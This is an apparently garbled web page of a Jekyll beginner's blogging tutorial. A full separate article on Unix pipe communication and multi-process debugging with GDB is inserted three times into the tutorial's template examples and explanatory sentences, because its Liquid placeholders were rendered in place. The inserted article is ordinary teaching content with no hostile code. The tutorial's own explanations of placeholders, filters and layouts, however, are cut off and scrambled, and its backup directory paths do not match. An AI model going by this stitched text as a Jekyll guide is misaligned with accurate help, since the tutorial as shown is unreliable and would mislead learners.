    {% endfor %}
    </ul>
    

    We see that instead of using Jekyll’s built-in post.excerpt tag, we use customized filter build_preview with content of post as input, to create the post preview on home page. The filter strip_html is used to remove html tags so that the preview could be rendered correctly.

    Run Jekyll local server

    jekyll server
    

    And you should see the change.


    Blog with Jekyll for beginners

    This article

    example-blog

    Pre-requists

    • Basic understanding of HTML, CSS, JS and their relations
    • Ruby experience or other programming experience to pick up Ruby quickly (< 3 mins)
    • Mac (if you’re using aother platform, please change the commands accordingly)

    Build your blog with Jekyll

    Install Jekyll

    Remember all the commands are only tested on Mac OS.

    gem install jekyll
    

    Set up environment

    Navigate to the directory you want your blog be put to. In my case, I will choose /tmp so that it won’t miss up my whole system.

    > cd /tmp
    > jekyll new my-blog
    New jekyll site installed in /private/tmp/my-blog.
    

    By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

    Create a post

    Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

    > mkdir /tmp/blog-backup
    > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/
    

    Layout

    Post layout

    Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

    Jekyll is great to separate layout/template from contents.

    We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

    Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

    This may sound abstract, let’s have a dry run!

    > cd my-blog
    > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html
    

    This is the simple post HTML.

    ---
    layout: default
    ---
    <div>
    	<header>
    		<h1>Blog with Jekyll for beginners</h1>
    		<p>Feb 10, 2017</p>
    	</header>
    
    	<article>
    		<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
    	</article>
    </div>
    

    Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

    If you did read the article, you should understand

    • `````` is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    ``` is a variable created by Jekyll, whose value is the actual blog content you composed.

    • In``````, the | is just like Unix pipe supporting casacading operations.
    • In ``````, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example <!DOCTYPE html> etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then **replace the placeholder ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
